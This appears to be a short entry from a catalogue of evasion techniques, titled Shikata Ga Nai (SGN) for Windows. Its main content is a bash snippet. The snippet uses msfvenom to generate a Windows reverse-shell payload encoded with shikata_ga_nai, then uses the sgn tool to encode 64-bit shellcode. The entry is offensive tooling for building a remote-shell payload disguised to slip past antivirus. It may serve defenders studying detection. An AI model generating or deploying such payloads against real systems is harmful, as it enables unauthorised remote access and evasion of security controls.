Windows bash / Shikata Ga Nai (SGN)
Author | Dreamkinn |
Platform | Windows |
Language | bash |
Technique | Shikata Ga Nai (SGN) |
Code
#!/bin/bash
# Generate SGN-encoded 32-bit shellcode using msfvenom
msfvenom -p windows/shell_reverse_tcp -e x86/shikata_ga_nai
# Generate 64-bit SGN-encoded shellcode using the sgn binary
sgn -a 64 shellcode.bin
Created
July 3, 2023
Last Revised
April 22, 2024